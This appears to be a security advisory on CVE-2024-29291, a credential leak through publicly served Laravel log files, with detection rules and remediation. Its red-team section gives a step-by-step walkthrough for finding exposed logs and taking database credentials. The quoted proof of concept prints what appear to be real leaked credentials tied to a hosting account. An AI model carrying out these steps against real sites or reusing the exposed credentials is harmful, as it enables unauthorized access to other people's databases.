CVE-2024-29291

Executive Summary

CVE-2024-29291 describes a credential leakage vulnerability in the Laravel Framework (versions 8 through 11). The issue arises when debug mode is enabled and the application logs are publicly accessible. An attacker can navigate to the storage/logs/laravel.log file and search for database connection strings, revealing plaintext credentials such as usernames, passwords, and hostnames. While the vendor and multiple third parties dispute this as a vulnerability—arguing that it is a configuration issue requiring proper access controls—the exploit is trivial to execute if the logs are exposed. This report provides a comprehensive analysis, detection methods, and remediation guidance.

Supply Chain & Package Security

Laravel is a widely used PHP framework distributed via Composer. The vulnerability is not in the package code itself but in the default configuration and logging behavior. If a developer enables debug mode and fails to restrict access to the storage/logs directory, credentials can be leaked. This highlights the importance of secure configuration management in the supply chain, as many developers rely on default settings without hardening.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Disputed, but we assess as 7.5 High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality: High
• Integrity: None
• Availability: None
• Threat Level: High (if logs are exposed)

Deep Dive & Mechanics

The vulnerability stems from Laravel's logging mechanism. When debug mode is enabled (via APP_DEBUG=true in the .env file), the framework logs detailed error messages, including database connection attempts. These logs are stored in storage/logs/laravel.log. If the web server is misconfigured to serve static files from the storage directory, an attacker can access the log file directly.

The exploit involves navigating to https://target.com/storage/logs/laravel.log and searching for the string PDO->__construct('mysql:host=. This reveals the database host, username, and password in plaintext. The attack requires no authentication and can be automated.

Vulnerable vs. Patched Code

Vulnerable Configuration:

• APP_DEBUG=true in .env
• Web server allows direct access to storage/logs/laravel.log
• No access controls on the log file

Patched Configuration:

• Set APP_DEBUG=false in production
• Restrict web server access to the storage directory (e.g., via .htaccess or Nginx rules)
• Use environment-specific logging (e.g., log to syslog or a secure endpoint)

No code patch is available as the issue is considered a configuration flaw.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Laravel application with debug mode enabled
• Publicly accessible storage/logs/laravel.log

Steps:

1. Identify a Laravel target (e.g., via Shodan dork http.title:"Laravel").
2. Navigate to https://target.com/storage/logs/laravel.log.
3. If accessible, download the file and search for PDO->__construct.
4. Extract credentials and use them to access the database.

Exploit Code (from Exploit-DB):

# Exploit Title: Laravel Framework 11 - Credential Leakage
# Google Dork: N/A
# Date: [2024-04-19]
# Exploit Author: Huseein Amer
# Vendor Homepage: [https://laravel.com/]
# Software Link: N/A
# Version: 8.* - 11.* (REQUIRED)
# Tested on: [N/A]
# CVE : CVE-2024-29291

Proof of concept:
Go to any Laravel-based website and navigate to storage/logs/laravel.log.

Open the file and search for "PDO->__construct('mysql:host=".
The result:
shell
Copy code
#0
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(70):
PDO->__construct('mysql:host=sql1...', 'u429384055_jscv', 'Jaly$$a0p0p0p0',
Array)
#1
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(46):
Illuminate\Database\Connectors\Connector->createPdoConnection('mysql:host=sql1...',
'u429384055_jscv', 'Jaly$$a0p0p0p0', Array)
Credentials:
Username: u429384055_jscv
Password: Jaly$$a0p0p0p0
Host: sql1...

Usage: The exploit is manual. Simply access the log file and extract credentials.

Blue Team

Detection:

• Monitor web server logs for requests to /storage/logs/laravel.log.
• Alert on any access to log files from external IPs.
• Use file integrity monitoring (FIM) to detect unauthorized reads of log files.

Prevention:

• Disable debug mode in production (APP_DEBUG=false).
• Block direct access to the storage directory via web server configuration.
• Use .htaccess (Apache) or location block (Nginx) to deny access.

Indicators of Compromise (IOCs)

• File Path: /storage/logs/laravel.log
• Log Pattern: PDO->__construct('mysql:host=
• Network: Requests to */storage/logs/laravel.log
• Strings: u429384055_jscv, Jaly$$a0p0p0p0 (example credentials)

Detection Engineering

YARA Rule

rule Laravel_Credential_Leakage {
    meta:
        description = "Detects Laravel log files containing database credentials"
        author = "Valters IT"
        date = "2024-04-19"
        reference = "CVE-2024-29291"
    strings:
        $cred = /PDO->__construct\('mysql:host=[^']+', '[^']+', '[^']+'/
    condition:
        $cred
}

Sigma Rule

title: Laravel Credential Leakage via Log File
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to Laravel log files containing database credentials
author: Valters IT
date: 2024/04/19
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-stem:
            - '/storage/logs/laravel.log'
    condition: selection
falsepositives:
    - Legitimate debugging by authorized personnel
level: high

Suricata Rule

alert http any any -> any any (msg:"Laravel Credential Leakage - Log File Access"; flow:to_server; content:"/storage/logs/laravel.log"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Disable Debug Mode: Set APP_DEBUG=false in the .env file for production environments.
2. Restrict Web Access: Configure the web server to deny access to the storage directory:
   • Apache: Add Deny from all in .htaccess inside storage/.
   • Nginx: Add location /storage/ { deny all; } in the server block.
3. Rotate Credentials: If logs were exposed, immediately change database passwords and review for unauthorized access.
4. Monitor Logs: Implement logging and alerting for access to sensitive files.
5. Use Environment-Specific Logging: Route logs to syslog or a secure external service instead of the default file.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 430D819F69B124D310D92356] */}